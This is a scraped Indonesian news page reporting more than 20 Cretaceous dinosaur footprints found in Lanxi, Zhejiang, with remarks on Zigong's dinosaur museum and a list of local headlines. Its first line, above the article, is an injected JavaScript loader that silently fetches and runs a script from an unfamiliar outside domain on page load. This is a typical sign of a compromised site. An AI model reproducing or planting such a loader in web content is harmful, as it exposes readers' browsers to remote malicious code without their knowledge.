(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
IPTEK

Arkeolog Temukan Jejak Kaki Dinosaurus, Panjang hingga 82 Cm


JAKARTA, Bekas jejak kaki sekelompok dinosaurus yang diduga telah berusia 100 juta tahun ditemukan lagi di Provinsi Zhejiang, wilayah timur Cina.

Lebih dari 20 jejak kaki yang panjangnya 22,7 centimeter hingga 82 centimeter ditemukan di salah satu desa di Kota Lanxi, Provinsi Zhejiang, demikian Prof Lida Xing dari China University of Geosciences di Beijing, Selasa (8/10). Demikian dilansir tempo.co.

Para pakar paleontologi memperkirakan panjang badan fosil tersebut mencapai 3,8 meter hingga 14 meter.

Usia jejak kaki tersebut diperkirakan 100 juta tahun hingga periode kapur (Cretaceous Period) yang diindikasikan oleh banyaknya jumlah sauropoda, spesies dinosaurus berkepala kecil dengan leher dan ekor panjang, di lokasi penemuan yang pada zamannya itu banyak air dan tumbuhan.

Para pakar berpendapat bahwa di tempat itu dinosaurus karnivora hidup bersama dinosaurus herbivora.

Namun sayangnya, tidak ada bukti yang mengarah ke sana, demikian media resmi Cina mengomentari interpretasi para paleontolog itu. Xing bersama dengan Prof Martin Lockley dari University of Colorado sedang melakukan penelitian lebih lanjut.

Saat ini para paleontolog bekerja sama dengan Pemerintah Provinsi Zhejiang berupaya memberikan perlindungan terbaik terhadap jejak kaki yang sangat langka itu.

Penemuan dinosaurus bukanlah hal baru di Cina. Kota Zigong, Provinsi Sichuan, menjadi salah satu endemik binatang purba berukuran raksasa.

Kota kaya garam itu memiliki museum yang khusus menyimpan beraneka ragam fosil spesies dinosaurus. “Cuaca yang stabil menjadikan Zigong sebagai tempat yang cocok dihuni dinosaurus,” kata Deputi Direktur Museum Dinosaurus Zigong, Zhang Zhengquan, kepada Antara di Zigong akhir 2017.

Menurut dia, Zigong pada masa lampau merupakan lautan yang kemudian tertimbun material vulkanik setelah ditemukan juga kerangka beberapa spesies dinosaurus yang hidup di air. “Sampai saat ini penelitian masih terus berlangsung. Masih ada 200 spesies lagi yang masih dilakukan penggalian dan penelitian oleh para arkeolog,” ujarnya.(tmp)

Reporter : Tmp
Editor : Chell


Desy Arfianty

Recent Posts

Inspeksi SLO, Srikandi PLN Hadirkan Keandalan dan Kualitas Instalasi

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Senja Jelang Magrib, Rumah di Banjar Permai III Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More

4 jam ago

Lawatan ke PKB, Upaya Lisa Halaby Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More

7 jam ago

Menjaga Kamtibmas, Satgas TMMD ke-120 Berikan Penyuluhan

KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More

7 jam ago

RPJPD 2025-2045 Banjarbaru Menjadi Kota Metropolitan di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More

7 jam ago

Gandeng BPS Kabupaten Banjar, DKISP Banjar Gelar Workshop Penyusunan Metadata Statistik Sektoral Lingkup Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar menggelar Workshop Penyusunan… Read More

7 jam ago

This website uses cookies.